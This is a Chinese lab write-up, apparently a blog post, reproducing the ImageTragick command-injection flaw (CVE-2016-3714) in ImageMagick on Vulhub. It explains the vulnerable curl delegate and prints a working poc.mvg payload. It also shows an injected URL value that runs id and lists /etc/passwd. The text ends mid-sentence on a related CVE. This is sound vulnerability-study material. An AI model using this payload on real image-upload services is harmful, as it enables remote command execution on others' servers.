Vulhub - Imagetragick 命令执行漏洞（CVE-2016–3714）

金盾第一天居然是复现漏洞唉。。。

ImageMagick是一款使用量很广的图片处理程序，很多厂商都调用了这个程序进行图片处理，包括图片的伸缩、切割、水印、格式转换等等。

但有研究者发现，当用户传入一个包含『畸形内容』的图片的时候，就有可能触发命令注入漏洞。

国外的安全人员为此新建了一个网站： https://imagetragick.com/

与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717，

其中最严重的就是CVE-2016-3714，利用这个漏洞可以造成远程命令执行的危害。

影响版本：

ImageMagick 6.5.7-8 2012-08-17(手工测试风险存在)

ImageMagick 6.7.7-10 2014-03-06(手工测试风险存在)

低版本至6.9.3-9 released 2016-04-30

漏洞分析：

具体漏洞原理就不详细说了，百度一大堆，贴一个：https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

ImageMagick有一个功能叫做delegate（委托），作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行，漏洞发生的地方：

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

它在解析https图片的时候，使用了curl命令将其下载，这里定义了一些占位符，如%o是curl输出的文件名，%M是远程的URL路径。注意到command中的可以到%M是可以拼接其他指令并被在命令行中执行的。该漏洞也因此而来，被拼接完毕的命令行传入了系统的system函数，而我们只需使用反引号（`）或闭合双引号，来执行任意命令。也就是下面这样：

command=" "curl" -s -k -o "%o" "https:%M" "/>

当%M为：https://"|id && ls -al /etc/passwd"

command=" "curl" -s -k -o "%o" "https://"|id && ls -al /etc/passwd"" "/>

后面的ls -la也会由于没有安全过滤而通过管道执行。而ImageMagick默认支持一种图片格式，叫mvg，它与svg格式类似，其中是以文本形式写入矢量图的内容，而这其中就可以包含https处理过程。所以Poc如下（poc.mvg）：

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

这样，ImageMagick在正常执行图片转换、处理的时候就会触发漏洞，执行我们的命令。

另外几个CVE也大同小异，

CVE-2016-3715是利用ImageMagick支持的ephemeral协议，来删除任意文件，